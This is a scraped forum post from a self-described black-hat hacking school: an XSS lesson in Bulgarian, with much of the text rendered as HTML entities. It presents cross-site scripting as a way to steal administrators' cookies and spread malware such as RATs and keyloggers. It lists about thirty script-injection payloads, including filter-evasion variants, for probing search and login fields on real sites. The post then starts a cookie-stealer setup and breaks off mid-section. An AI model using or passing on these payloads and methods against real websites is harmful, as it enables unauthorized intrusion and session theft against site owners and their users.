URI: 
   DIR Return Create A Forum - Home
       ---------------------------------------------------------
       Black-hat hacking school
  HTML https://13343424434.createaforum.com
       ---------------------------------------------------------
       *****************************************************
   DIR Return to: XSS
       *****************************************************
       #Post#: 3--------------------------------------------------
       XSS Урок.
   DIR By: black-hat
       Date: August 31, 2013, 6:45 am
       ---------------------------------------------------------
       [glow=red,2,300]Какво е
       XSS?[/glow]
       Съжалявам
       за езикът.
       
       XSS означава
       Cross-Site Scripting-. Тя е
       осноsно
       атака,
       която се
       използва
       за
       изпълнение
       на HTML и JavaScript в
       интернет-страницата.
       Тази атака
       може да
       стане чрез
       подаване
       на заявки
       в текстови
       кутий, или
       дори в URL.
       четене на
       текста
       като HTML, така
       че той
       изпълнява
       скриптове,
       вместо да
       ги
       показвате
       в
       обикновен
       текст. С XSS
       атака,
       можеш да
       откраднеш
       бисквитки
       от
       уеб-администратор,
       или дори
       да
       използвате
       някои
       социално-инженерство,
       за да
       манипулират
       някой в
       изтеглите
       вирус,
       който сте
       създали.
       Такива
       като един
       бот, или RAT,
       може би
       дори и
       Key-дървар XSS
       може да
       бъде много
       опасно, но
       може да
       бъде много
       леко.
       Повечето
       от моите
       атаки са
       леки атаки
       XSS, че може да
       бъде
       трудно да
       се
       използва
       срещу един
       уеб сайт.
       Има много
       начини да
       използвате
       XSS в своя
       полза. Ще
       назовем
       само
       няколко
       примера.
       Можете да
       използвате
       поле за
       сигнали,
       за да
       рекламирате
       себе си,
       или
       предупреждава
       уеб-администратор,
       че сте
       открили
       нарушаване
       на
       сигурността
       включва XSS.
       Можете
       също така
       да
       настроите
       Cookie-Stealer/Logger.
       Всичко,
       което може
       да
       направите
       с HTML, може да
       се
       използва
       срещу
       сайта с
       тази
       атака. Аз
       ще обясня
       някои от
       най-важните
       термини,
       свързани с
       XSS.
       XSS: Моята
       първа
       атака.
       Сега, нека
       да
       започнем.
       В този
       раздел, ще
       се
       обяснява
       как да се
       използвате
       XSS в своя
       полза.
       Също ще се
       стартира
       първият ни
       удар с XSS, ако
       знаете
       основите
       на XSS, можете
       да
       пропуснете
       тази част,
       защото се
       съмнявам,
       че ще
       научат
       нещо,
       което не
       знаят на
       кратко,
       все още.
       
       Сега,
       нашата
       първа
       стъпка е
       очевидно
       да се
       намери
       уязвимо
       място.
       Намирането
       на сайта
       уязвими
       към XSS е
       много
       по-лесно
       от
       намирането
       на сайта
       уязвими
       към SQLi.
       Проблемът
       е, че може
       да отнеме
       време, за
       да се
       определи
       дали
       сайтът е
       много
       уязвим. С SQLi,
       може
       просто да
       добавите
       малко ". Но в
       XSS, трябва да
       изпратите
       (понякога)
       многобройни
       запитвания,
       да
       тествате
       сайта за XSS.
       
       Най-уязвимите
       места ще
       съдържа Search,
       вход или
       зона
       регистър.
       Почти
       навсякъде,
       което
       съдържа
       текст
       кутия,
       може да се
       използва с
       XSS. Въпреки
       това,
       много хора
       забравят
       този факт
       и никога
       не я
       използват
       в пълния
       им
       потенциал,
       защото те
       мислят, че
       е
       безполезно.
       Можете да
       използвате
       XSS чрез
       източник,
       както и, Не
       може
       просто да
       вземете
       нито един
       скрипт, и
       редактиране.
       Но
       редакцията
       на
       "поставяне
       на
       показалеца"
       скрипт,
       определено
       е
       изключение.
       Аз ще
       разясняват
       този метод
       на XSS-късно,
       за сега,
       ние се
       нуждаем от
       цялостни
       неща.
       
       Както и да
       е, нашият
       сайт
       трябва да
       има някои
       текстови
       полета, за
       да имд
       вход. Аз
       просто ще
       бъда с
       помощта на
       лентата за
       търсене.
       <script> alert ("XSS") </script>
       
       &#1058;&#1086;&#1079;&#1080; &#1084;&#1072;&#1083;&#1098;&#1082;
       &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;, &#1077; HTML.
       &#1058;oj &#1097;&#1077;
       &#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1080;
       &#1084;&#1072;&#1083;&#1082;&#1086; &#1087;&#1086;&#1087;
       &#1089;&#1098;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1077;,
       &#1082;&#1072;&#1079;&#1074;&#1072;&#1081;&#1082;&#1080; "XSS".
       &#1052;&#1086;&#1078;&#1077;&#1090;&#1077; &#1076;&#1072;
       &#1088;&#1077;&#1076;&#1072;&#1082;&#1090;&#1080;&#1088;&#1072;&#1090;&#1077;
       &#1090;&#1072;&#1079;&#1080; &#1095;&#1072;&#1089;&#1090;,
       &#1072;&#1082;&#1086;
       &#1080;&#1089;&#1082;&#1072;&#1090;&#1077;.
       &#1057;&#1072;&#1084;&#1086; &#1085;&#1077;
       &#1088;&#1077;&#1076;&#1072;&#1082;&#1090;&#1080;&#1088;&#1072;&#1090;&#1077;
       &#1074;&#1089;&#1103;&#1082;&#1072;&#1082;&#1074;&#1080;
       &#1076;&#1088;&#1091;&#1075;&#1080;
       &#1095;&#1072;&#1089;&#1090;&#1080; &#1085;&#1072;
       &#1089;&#1094;&#1077;&#1085;&#1072;&#1088;&#1080;&#1103;.
       &#1057;&#1083;&#1086;&#1078;&#1080; &#1090;&#1086;&#1074;&#1072;
       &#1074; &#1083;&#1077;&#1085;&#1090;&#1072;&#1090;&#1072;
       &#1089;&#1080; &#1079;&#1072;
       &#1090;&#1098;&#1088;&#1089;&#1077;&#1085;&#1077; &#1080;
       &#1085;&#1072;&#1090;&#1080;&#1089;&#1085;&#1077;&#1090;&#1077;
       &#1074;&#1098;&#1074;&#1077;&#1076;&#1077;&#1090;&#1077;.
       &#1057;&#1077;&#1075;&#1072;,
       &#1084;&#1072;&#1082;&#1072;&#1088; &#1080;
       &#1084;&#1072;&#1083;&#1082;&#1086;
       &#1089;&#1080;&#1075;&#1085;&#1072;&#1083;
       &#1082;&#1091;&#1090;&#1080;&#1103;
       &#1087;&#1086;&#1082;&#1072;&#1079;&#1072;, &#1095;&#1077;
       &#1074;&#1080;&#1077;
       &#1091;&#1089;&#1087;&#1077;&#1096;&#1085;&#1086;
       &#1072;&#1090;&#1072;&#1082;&#1091;&#1074;&#1072;&#1093;&#1090;&#1077;
       &#1089;&#1072;&#1081;&#1090;&#1072;
       &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1080; &#1079;&#1072;
       XSS! &#1040;&#1082;&#1086; &#1085;&#1077;
       &#1080;&#1079;&#1089;&#1082;&#1086;&#1095;&#1080;
       &#1087;&#1088;&#1086;&#1079;&#1086;&#1088;&#1077;&#1094;,
       &#1095;&#1077; &#1077; &#1076;&#1086;&#1073;&#1088;&#1077;,
       &#1079;&#1072;&#1097;&#1086;&#1090;&#1086;
       &#1090;&#1086;&#1074;&#1072;
       &#1086;&#1079;&#1085;&#1072;&#1095;&#1072;&#1074;&#1072;,
       &#1095;&#1077; &#1085;&#1072;
       &#1089;&#1072;&#1081;&#1090;&#1072; &#1085;&#1080;
       &#1086;&#1090;&#1085;&#1077; &#1076;&#1086;&#1089;&#1090;&#1072;
       &#1074;&#1088;&#1077;&#1084;&#1077; &#1076;&#1072;
       &#1089;&#1077; &#1089;&#1083;&#1086;&#1078;&#1080;
       &#1074;&#1098;&#1074;
       &#1092;&#1080;&#1083;&#1090;&#1098;&#1088;. A
       &#1092;&#1080;&#1083;&#1090;&#1098;&#1088;, &#1077;
       &#1082;&#1086;&#1075;&#1072;&#1090;&#1086;
       &#1090;&#1098;&#1088;&#1089;&#1080;&#1090;&#1077;
       &#1085;&#1077;&#1097;&#1086;, &#1072;
       &#1089;&#1083;&#1077;&#1076; &#1090;&#1086;&#1074;&#1072;
       &#1087;&#1088;&#1077;&#1084;&#1080;&#1085;&#1072;&#1074;&#1072;
       &#1087;&#1088;&#1077;&#1079; &#1084;&#1080;&#1085;&#1080;
       &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;,
       &#1086;&#1089;&#1085;&#1086;&#1074;&#1085;&#1086; &#1086;&#1090;
       &#1080;&#1085;&#1089;&#1087;&#1077;&#1082;&#1094;&#1080;&#1103;&#1090;&#1072;.
       &#1058;&#1103;
       &#1087;&#1088;&#1086;&#1074;&#1077;&#1088;&#1103;&#1074;&#1072;
       &#1079;&#1072;
       &#1074;&#1089;&#1103;&#1082;&#1072;&#1082;&#1074;&#1080;
       &#1079;&#1083;&#1086;&#1085;&#1072;&#1084;&#1077;&#1088;&#1077;&#1085;&#1080;
       (&#1086;&#1087;&#1072;&#1089;&#1085;&#1080;)
       &#1085;&#1077;&#1097;&#1072;. &#1042;
       &#1090;&#1086;&#1079;&#1080;
       &#1089;&#1083;&#1091;&#1095;&#1072;&#1081;, &#1090;&#1103;
       &#1097;&#1077;
       &#1080;&#1079;&#1075;&#1083;&#1077;&#1078;&#1076;&#1072;
       &#1079;&#1072; XSS.
       &#1055;&#1086;&#1085;&#1103;&#1082;&#1086;&#1075;&#1072;,
       &#1090;&#1077;&#1079;&#1080;
       &#1092;&#1080;&#1083;&#1090;&#1088;&#1080; &#1089;&#1072;
       &#1084;&#1085;&#1086;&#1075;&#1086;
       &#1089;&#1083;&#1072;&#1073;&#1080;, &#1080;
       &#1084;&#1086;&#1078;&#1077; &#1076;&#1072;
       &#1073;&#1098;&#1076;&#1077;
       &#1079;&#1072;&#1086;&#1073;&#1080;&#1082;&#1086;&#1083;&#1077;&#1085;
       &#1084;&#1085;&#1086;&#1075;&#1086;
       &#1083;&#1077;&#1089;&#1085;&#1086;,
       &#1076;&#1088;&#1091;&#1075;&#1080;
       &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1072;,
       &#1090;&#1077; &#1084;&#1086;&#1075;&#1072;&#1090;
       &#1076;&#1072; &#1073;&#1098;&#1076;&#1072;&#1090;
       &#1076;&#1086;&#1089;&#1090;&#1072;
       &#1090;&#1088;&#1091;&#1076;&#1085;&#1086; &#1076;&#1072;
       &#1089;&#1077;
       &#1079;&#1072;&#1086;&#1073;&#1080;&#1082;&#1086;&#1083;&#1103;&#1090;.
       &#1048;&#1084;&#1072; &#1084;&#1085;&#1086;&#1075;&#1086;
       &#1085;&#1072;&#1095;&#1080;&#1085;&#1080; &#1079;&#1072;
       &#1079;&#1072;&#1086;&#1073;&#1080;&#1082;&#1072;&#1083;&#1103;&#1085;&#1077;
       &#1085;&#1072; XSS &#1092;&#1080;&#1083;&#1090;&#1098;&#1088;.
       &#1055;&#1098;&#1088;&#1074;&#1086;, &#1085;&#1080;&#1077;
       &#1090;&#1088;&#1103;&#1073;&#1074;&#1072; &#1076;&#1072;
       &#1088;&#1072;&#1079;&#1073;&#1077;&#1088;&#1077;&#1084;
       &#1090;&#1086;&#1074;&#1072;,
       &#1082;&#1086;&#1077;&#1090;&#1086;
       &#1092;&#1080;&#1083;&#1090;&#1098;&#1088;&#1098;&#1090;
       &#1089;&#1077;
       &#1073;&#1083;&#1086;&#1082;&#1080;&#1088;&#1072;. &#1040;
       &#1084;&#1085;&#1086;&#1075;&#1086; &#1086;&#1090;
       &#1074;&#1088;&#1077;&#1084;&#1077;&#1090;&#1086;,
       &#1090;&#1103; &#1077;
       &#1073;&#1083;&#1086;&#1082;&#1080;&#1088;&#1072;&#1085;&#1077;
       &#1085;&#1072;
       &#1089;&#1080;&#1075;&#1085;&#1072;&#1083;&#1072;.
       &#1045;&#1090;&#1086; &#1077;&#1076;&#1080;&#1085;
       &#1087;&#1088;&#1080;&#1084;&#1077;&#1088; &#1085;&#1072;
       &#1090;&#1086;&#1079;&#1080; &#1074;&#1080;&#1076;
       &#1092;&#1080;&#1083;&#1090;&#1098;&#1088;:
       
       
       &#1058;&#1072;&#1082;&#1072; &#1095;&#1077;,
       &#1085;&#1077;&#1082;&#1072; &#1076;&#1072;
       &#1086;&#1087;&#1080;&#1090;&#1072;&#1090;&#1077; &#1076;&#1072;
       &#1089;&#1083;&#1086;&#1078;&#1080;&#1090;&#1077; &#1074;
       &#1085;&#1072;&#1081;-&#1080;&#1079;&#1074;&#1077;&#1089;&#1090;&#1085;&#1080;&#1103;,
       BASIC &#1079;&#1072;&#1103;&#1074;&#1082;&#1072; &#1085;&#1072;
       &#1074;&#1089;&#1080;&#1095;&#1082;&#1080;
       &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1072;.
       &#1058;&#1103; &#1097;&#1077;
       &#1073;&#1083;&#1086;&#1082;&#1080;&#1088;&#1072;&#1090;
       &#1082;&#1072;&#1074;&#1080;&#1095;&#1082;&#1080;. &#1045;,
       &#1082;&#1072;&#1082;, &#1087;&#1086;
       &#1076;&#1103;&#1074;&#1086;&#1083;&#1080;&#1090;&#1077;,
       &#1085;&#1080;&#1077; &#1089;&#1077; &#1077;
       &#1086;&#1090;&#1088;&#1072;&#1079;&#1080;&#1083;&#1086;
       &#1090;&#1086;&#1074;&#1072;? &#1045;, &#1079;&#1072;
       &#1097;&#1072;&#1089;&#1090;&#1080;&#1077; &#1080;&#1084;&#1072;
       &#1085;&#1072;&#1095;&#1080;&#1085; &#1076;&#1072;
       &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;
       &#1087;&#1098;&#1083;&#1085;&#1086;
       &#1089;&#1098;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1077;
       :). &#1053;&#1080;&#1077; &#1097;&#1077;
       &#1080;&#1079;&#1087;&#1086;&#1083;&#1079;&#1074;&#1072;&#1090;
       &#1084;&#1072;&#1083;&#1082;&#1086;
       &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1103;,
       &#1085;&#1072;&#1088;&#1077;&#1095;&#1077;&#1085;&#1072;
       "String.FromCharCode". &#1048;&#1084;&#1077;&#1090;&#1086;
       &#1085;&#1072; &#1090;&#1086;&#1074;&#1072; &#1076;&#1086;
       &#1075;&#1086;&#1083;&#1103;&#1084;&#1072;
       &#1089;&#1090;&#1077;&#1087;&#1077;&#1085;
       &#1086;&#1073;&#1103;&#1089;&#1085;&#1103;&#1074;&#1072;
       &#1074;&#1089;&#1080;&#1095;&#1082;&#1086;.
       &#1058;&#1086;&#1081;
       &#1082;&#1088;&#1080;&#1087;&#1090;&#1080;&#1088;&#1072;
       &#1085;&#1072;&#1096;&#1080;&#1103;
       &#1090;&#1077;&#1082;&#1089;&#1090;, &#1074; ASCII.
       &#1055;&#1088;&#1080;&#1084;&#1077;&#1088; &#1079;&#1072;
       &#1090;&#1086;&#1074;&#1072;
       &#1082;&#1088;&#1080;&#1087;&#1090;&#1080;&#1088;&#1072;&#1085;&#1077;,
       &#1097;&#1077; &#1073;&#1098;&#1076;&#1077;
       &#1087;&#1086;&#1076;&#1086;&#1073;&#1077;&#1085; &#1085;&#1072;
       &#1090;&#1086;&#1079;&#1080;:
       String.fromCharCode(88,83,83)
       &#1044;&#1072;, &#1084;&#1086;&#1078;&#1077; &#1076;&#1072;
       &#1073;&#1098;&#1076;&#1077; &#1084;&#1072;&#1083;&#1082;&#1086;
       &#1086;&#1073;&#1098;&#1088;&#1082;&#1074;&#1072;&#1097;&#1086;,
       &#1085;&#1086; &#1089;
       &#1087;&#1086;-&#1084;&#1072;&#1083;&#1082;&#1086;
       &#1076;&#1072; &#1086;&#1073;&#1103;&#1089;&#1085;&#1080;,
       &#1080;
       &#1090;&#1077;&#1089;&#1090;&#1074;&#1072;&#1085;&#1077;,
       &#1090;&#1086;&#1074;&#1072; &#1077;
       &#1089;&#1098;&#1074;&#1089;&#1077;&#1084;
       &#1087;&#1088;&#1086;&#1089;&#1090;&#1072;.
       &#1045;&#1090;&#1086; &#1082;&#1072;&#1082;&#1074;&#1086;
       &#1085;&#1080; &#1087;&#1098;&#1083;&#1085;&#1086;
       &#1079;&#1072;&#1103;&#1074;&#1082;&#1072;&#1090;&#1072;
       &#1097;&#1077;
       &#1080;&#1079;&#1075;&#1083;&#1077;&#1078;&#1076;&#1072;
       &#1090;&#1072;&#1082;&#1072;:
       <script>alert(String.fromCharCode(88,83,83))</script>
       &#1042;&#1080;&#1077; &#1085;&#1077; &#1089;&#1077;
       &#1085;&#1091;&#1078;&#1076;&#1072;&#1103;&#1090; &#1086;&#1090;
       &#1094;&#1080;&#1090;&#1072;&#1090;&#1080; &#1074;
       &#1087;&#1088;&#1086;&#1089;&#1090;
       &#1074;&#1098;&#1087;&#1088;&#1086;&#1089;
       &#1090;&#1072;&#1082;&#1072;. &#1058;&#1072;&#1082;&#1072;
       &#1095;&#1077; &#1074;&#1080;
       &#1087;&#1086;&#1079;&#1074;&#1086;&#1083;&#1103;&#1074;&#1072;
       &#1089;&#1083;&#1086;&#1078;&#1080; &#1090;&#1086;&#1074;&#1072;
       &#1086;&#1073;&#1088;&#1072;&#1090;&#1085;&#1086; &#1074;
       &#1083;&#1077;&#1085;&#1090;&#1072;&#1090;&#1072; &#1079;&#1072;
       &#1090;&#1098;&#1088;&#1089;&#1077;&#1085;&#1077;, &#1080;
       &#1075;&#1086;&#1090;&#1086;&#1074;&#1086;!
       &#1058;&#1086;&#1081; &#1077;
       &#1088;&#1072;&#1073;&#1086;&#1090;&#1080;&#1083;!
       &#1048;&#1084;&#1072;&#1084;&#1077; &#1087;&#1086;&#1083;&#1077;
       &#1079;&#1072;
       &#1089;&#1080;&#1075;&#1085;&#1072;&#1083;&#1080;,
       &#1082;&#1072;&#1079;&#1074;&#1072;&#1081;&#1082;&#1080; "XSS"!
       &#1040;&#1082;&#1086; &#1074;&#1089;&#1077;
       &#1086;&#1097;&#1077; &#1085;&#1077; &#1089;&#1077;
       &#1087;&#1086;&#1083;&#1091;&#1095;&#1080;
       &#1085;&#1080;&#1090;&#1086; &#1077;&#1076;&#1080;&#1085;
       &#1087;&#1088;&#1086;&#1079;&#1086;&#1088;&#1077;&#1094; &#1089;
       &#1087;&#1088;&#1077;&#1076;&#1091;&#1087;&#1088;&#1077;&#1078;&#1076;&#1077;&#1085;&#1080;&#1077;,
       &#1086;&#1087;&#1080;&#1090;&#1072;&#1081;&#1090;&#1077;
       &#1085;&#1103;&#1082;&#1086;&#1080; &#1086;&#1090;
       &#1090;&#1077;&#1079;&#1080;
       &#1079;&#1072;&#1103;&#1074;&#1082;&#1080;,
       &#1082;&#1086;&#1080;&#1090;&#1086;
       &#1086;&#1073;&#1080;&#1095;&#1072;&#1084; &#1076;&#1072;
       &#1080;&#1079;&#1087;&#1086;&#1083;&#1079;&#1074;&#1072;&#1084;:
       "><script>alert("XSS")</script>
       "><script>alert(String.fromCharCode(88,83,83))</script>
       '><script>alert("XSS")</script>
       '><script>alert(String.fromCharCode(88,83,83))</script>
       <ScRIPt>aLeRT("XSS")</ScRIPt>
       <ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
       "><ScRIPt>aLeRT("XSS")</ScRIPt>
       "><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
       '><ScRIPt>aLeRT("XSS")</ScRIPt>
       '><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
       </script><script>alert("XSS")</script>
       </script><script>alert(String.fromCharCode(88,83,83))</script>
       "/><script>alert("XSS")</script>
       "/><script>alert(String.fromCharCode(88,83,83))</script>
       '/><script>alert("XSS")</script>
       '/><script>alert(String.fromCharCode(88,83,83))</script>
       </SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT>
       </SCRIPT>"><SCRIPT>alert(String.fromCharCode(88,83,83))
       </SCRIPT>">"><SCRIPT>alert("XSS")</SCRIPT>
       </SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
       ";alert("XSS");"
       ";alert(String.fromCharCode(88,83,83));"
       ';alert("XSS");'
       ';alert(String.fromCharCode(88,83,83));'
       ";alert("XSS")
       ";alert(String.fromCharCode(88,83,83))
       ';alert("XSS")
       ';alert(String.fromCharCode(88,83,83))
       &#1044;&#1072;, &#1072;&#1079;
       &#1087;&#1088;&#1086;&#1089;&#1090;&#1086;
       &#1087;&#1080;&#1096;&#1077;
       &#1074;&#1089;&#1080;&#1095;&#1082;&#1080;
       &#1090;&#1077;&#1079;&#1080;
       &#1085;&#1072;&#1076;&#1086;&#1083;&#1091;, &#1080;
       &#1075;&#1086; &#1074;&#1079;&#1077;&#1093;&#1072;
       &#1087;&#1086;-&#1076;&#1098;&#1083;&#1075;&#1086;,
       &#1086;&#1090;&#1082;&#1086;&#1083;&#1082;&#1086;&#1090;&#1086;
       &#1073;&#1080;
       &#1090;&#1088;&#1103;&#1073;&#1074;&#1072;&#1083;&#1086;,
       &#1085;&#1086; &#1074;&#1089;&#1080;&#1095;&#1082;&#1080;
       &#1090;&#1077; &#1088;&#1072;&#1073;&#1086;&#1090;&#1103;&#1090;
       &#1087;&#1086; &#1089;&#1074;&#1086;&#1081;
       &#1085;&#1072;&#1095;&#1080;&#1085;,
       &#1090;&#1072;&#1082;&#1072; &#1095;&#1077; &#1089;&#1077;
       &#1086;&#1087;&#1080;&#1090;&#1074;&#1072;&#1090;
       &#1082;&#1086;&#1083;&#1082;&#1086;&#1090;&#1086; &#1089;&#1077;
       &#1084;&#1086;&#1078;&#1077;
       &#1087;&#1086;&#1074;&#1077;&#1095;&#1077; &#1086;&#1090;
       &#1090;&#1103;&#1093;,
       &#1082;&#1086;&#1083;&#1082;&#1086;&#1090;&#1086;
       &#1084;&#1086;&#1078;&#1077;&#1090;&#1077;. &#1040;&#1079;
       &#1073;&#1103;&#1093;
       &#1085;&#1072;&#1087;&#1072;&#1076;&#1085;&#1072;&#1090;
       &#1085;&#1103;&#1082;&#1086;&#1080;
       &#1076;&#1086;&#1089;&#1090;&#1072;
       &#1075;&#1086;&#1083;&#1077;&#1084;&#1080;
       &#1089;&#1072;&#1081;&#1090;&#1086;&#1074;&#1077; &#1089;
       &#1085;&#1103;&#1082;&#1086;&#1080; &#1086;&#1090;
       &#1090;&#1077;&#1079;&#1080;
       &#1079;&#1072;&#1087;&#1080;&#1090;&#1074;&#1072;&#1085;&#1080;&#1103;.
       I &#1089;&#1098;&#1079;&#1076;&#1072;&#1084;
       &#1089;&#1086;&#1073;&#1089;&#1090;&#1074;&#1077;&#1085;&#1072;
       &#1079;&#1072;&#1103;&#1074;&#1082;&#1080;
       &#1087;&#1086;&#1085;&#1103;&#1082;&#1086;&#1075;&#1072;,
       &#1090;&#1088;&#1103;&#1073;&#1074;&#1072; &#1076;&#1072;
       &#1089;&#1098;&#1079;&#1076;&#1072;&#1076;&#1077;&#1090;&#1077;
       &#1085;&#1103;&#1082;&#1086;&#1080;
       &#1087;&#1088;&#1077;&#1082;&#1072;&#1083;&#1077;&#1085;&#1086;,
       &#1090;&#1077; &#1084;&#1086;&#1078;&#1077; &#1076;&#1072;
       &#1076;&#1086;&#1081;&#1076;&#1077;
       &#1087;&#1086;-&#1091;&#1076;&#1086;&#1073;&#1085;&#1086;
       &#1084;&#1085;&#1086;&#1075;&#1086;.
       XSS:
       &#1089;&#1098;&#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1085;&#1080;&#1090;&#1077;
       &#1084;&#1077;&#1090;&#1086;&#1076;&#1080;
       
       &#1057;&#1077;&#1075;&#1072;, &#1074;
       &#1090;&#1072;&#1079;&#1080;
       &#1089;&#1077;&#1082;&#1094;&#1080;&#1103; &#1097;&#1077;
       &#1073;&#1098;&#1076;&#1077;
       &#1089;&#1087;&#1086;&#1076;&#1077;&#1083;&#1103;&#1085;&#1077;
       &#1085;&#1072; &#1085;&#1103;&#1082;&#1086;&#1080;
       &#1085;&#1072;&#1095;&#1080;&#1085;&#1080; &#1079;&#1072;
       &#1080;&#1079;&#1087;&#1086;&#1083;&#1079;&#1074;&#1072;&#1085;&#1077;
       &#1085;&#1072; XSS
       &#1079;&#1083;&#1086;&#1085;&#1072;&#1084;&#1077;&#1088;&#1077;&#1085;&#1086;
       &#1089;&#1088;&#1077;&#1097;&#1091;
       &#1089;&#1072;&#1081;&#1090;&#1072;.
       &#1057;&#1077;&#1075;&#1072;,
       &#1080;&#1084;&#1072;&#1081;&#1090;&#1077;
       &#1087;&#1088;&#1077;&#1076;&#1074;&#1080;&#1076;,
       &#1074;&#1089;&#1080;&#1095;&#1082;&#1080;
       &#1079;&#1083;&#1086;&#1085;&#1072;&#1084;&#1077;&#1088;&#1077;&#1085;&#1080;
       &#1072;&#1090;&#1072;&#1082;&#1080;
       &#1080;&#1079;&#1087;&#1088;&#1072;&#1090;&#1080; &#1076;&#1086;
       &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1072;,
       &#1089;&#1072;&#1081;&#1090; &#1080;&#1083;&#1080;
       &#1089;&#1098;&#1088;&#1074;&#1098;&#1088;, &#1077;
       &#1085;&#1077;&#1079;&#1072;&#1082;&#1086;&#1085;&#1085;&#1086;
       &#1080; &#1090;&#1077; &#1084;&#1086;&#1075;&#1072;&#1090;
       &#1076;&#1072; &#1073;&#1098;&#1076;&#1072;&#1090;
       &#1087;&#1088;&#1077;&#1089;&#1083;&#1077;&#1076;&#1074;&#1072;&#1085;&#1080;
       &#1079;&#1072; &#1090;&#1077;&#1079;&#1080;
       &#1076;&#1077;&#1081;&#1089;&#1090;&#1074;&#1080;&#1103;.
       &#1058;&#1072;&#1082;&#1072; &#1095;&#1077;
       &#1074;&#1080;&#1085;&#1072;&#1075;&#1080;
       &#1080;&#1079;&#1087;&#1086;&#1083;&#1079;&#1074;&#1072;&#1081;&#1090;&#1077;
       &#1079;&#1072;&#1097;&#1080;&#1090;&#1072;,
       &#1072;&#1082;&#1086; &#1085;&#1077;
       &#1087;&#1083;&#1072;&#1085;&#1080;&#1088;&#1072;&#1090;&#1077;
       &#1076;&#1072; &#1087;&#1088;&#1072;&#1074;&#1080;&#1090;&#1077;
       &#1085;&#1077;&#1097;&#1086;
       &#1079;&#1083;&#1086;&#1085;&#1072;&#1084;&#1077;&#1088;&#1077;&#1085;
       &#1082;&#1098;&#1084; &#1089;&#1072;&#1081;&#1090;&#1072;.
       &#1040;&#1082;&#1086; &#1080;&#1089;&#1082;&#1072;&#1090;&#1077;
       &#1076;&#1072;
       &#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1080;&#1090;&#1077;
       &#1084;&#1072;&#1083;&#1082;&#1086;
       &#1087;&#1088;&#1077;&#1076;&#1091;&#1087;&#1088;&#1077;&#1078;&#1076;&#1077;&#1085;&#1080;&#1077;
       &#1087;&#1086;&#1087; &#1082;&#1091;&#1090;&#1080;&#1103;,
       &#1074;&#1080;&#1077; &#1085;&#1077;
       &#1090;&#1088;&#1103;&#1073;&#1074;&#1072; &#1076;&#1072;
       &#1089;&#1077; &#1085;&#1091;&#1078;&#1076;&#1072;&#1103;&#1090;
       &#1086;&#1090; Proxy / VPN.
       Cookie &#1050;&#1088;&#1072;&#1078;&#1073;&#1072;&#1090;&#1072;
       / &#1048;&#1079;&#1083;&#1080;&#1079;&#1072;&#1085;&#1077;
       &#1057;&#1077;&#1075;&#1072;,
       &#1073;&#1080;&#1089;&#1082;&#1074;&#1080;&#1090;&#1082;&#1072;
       &#1082;&#1088;&#1072;&#1078;&#1073;&#1072; &#1077;
       &#1079;&#1072;
       &#1085;&#1072;&#1081;-&#1079;&#1083;&#1086;&#1074;&#1088;&#1077;&#1076;&#1077;&#1085;
       &#1082;&#1086;&#1077;&#1090;&#1086;
       &#1084;&#1086;&#1078;&#1077;&#1084; &#1076;&#1072;
       &#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1080;&#1084; &#1089;
       &#1085;&#1077;&#1087;&#1086;&#1089;&#1090;&#1086;&#1103;&#1085;&#1085;&#1080;
       XSS.
       &#1041;&#1080;&#1089;&#1082;&#1074;&#1080;&#1090;&#1082;&#1072;&#1090;&#1072;
       &#1082;&#1088;&#1072;&#1076;&#1077;&#1094; /
       &#1076;&#1098;&#1088;&#1074;&#1072;&#1088;, &#1097;&#1077;
       &#1074;&#1083;&#1077;&#1079;&#1077;&#1090;&#1077;
       &#1073;&#1080;&#1089;&#1082;&#1074;&#1080;&#1090;&#1082;&#1080;&#1090;&#1077;
       &#1085;&#1072;
       &#1087;&#1086;&#1090;&#1088;&#1077;&#1073;&#1080;&#1090;&#1077;&#1083;&#1103;,
       &#1082;&#1086;&#1081;&#1090;&#1086;
       &#1076;&#1086;&#1089;&#1090;&#1098;&#1087; &#1076;&#1086;
       &#1089;&#1090;&#1088;&#1072;&#1085;&#1080;&#1094;&#1072;&#1090;&#1072;
       &#1085;&#1072; &#1076;&#1072;&#1076;&#1077;&#1085;
       &#1076;&#1086;&#1082;&#1091;&#1084;&#1077;&#1085;&#1090;.
       &#1053;&#1072;&#1081;-&#1083;&#1077;&#1089;&#1085;&#1080;&#1103;&#1090;
       &#1085;&#1072;&#1095;&#1080;&#1085; &#1076;&#1072;
       &#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1080;&#1090;&#1077;
       &#1090;&#1086;&#1074;&#1072;, &#1097;&#1077;
       &#1073;&#1098;&#1076;&#1077; &#1089; &#1090;&#1088;&#1080;
       &#1089;&#1090;&#1098;&#1087;&#1082;&#1080;
       &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;.
       
       &#1055;&#1098;&#1088;&#1074;&#1086;,
       &#1090;&#1088;&#1103;&#1073;&#1074;&#1072; &#1076;&#1072;
       &#1089;&#1077;
       &#1085;&#1072;&#1089;&#1090;&#1088;&#1086;&#1080;&#1090;&#1077;
       &#1085;&#1072; &#1089;&#1072;&#1081;&#1090;&#1072;.
       &#1051;&#1080;&#1095;&#1085;&#1086; &#1072;&#1079;
       &#1085;&#1072;&#1084;&#1080;&#1088;&#1072;&#1084;
  HTML http://www.000webhost.com/
       &#1085;&#1072;&#1081;-&#1076;&#1086;&#1073;&#1088;&#1086;&#1090;&#1086;
       &#1079;&#1072; &#1082;&#1072;&#1095;&#1074;&#1072;&#1085;&#1077;
       &#1085;&#1072;
       &#1079;&#1083;&#1086;&#1074;&#1088;&#1077;&#1076;&#1077;&#1085;
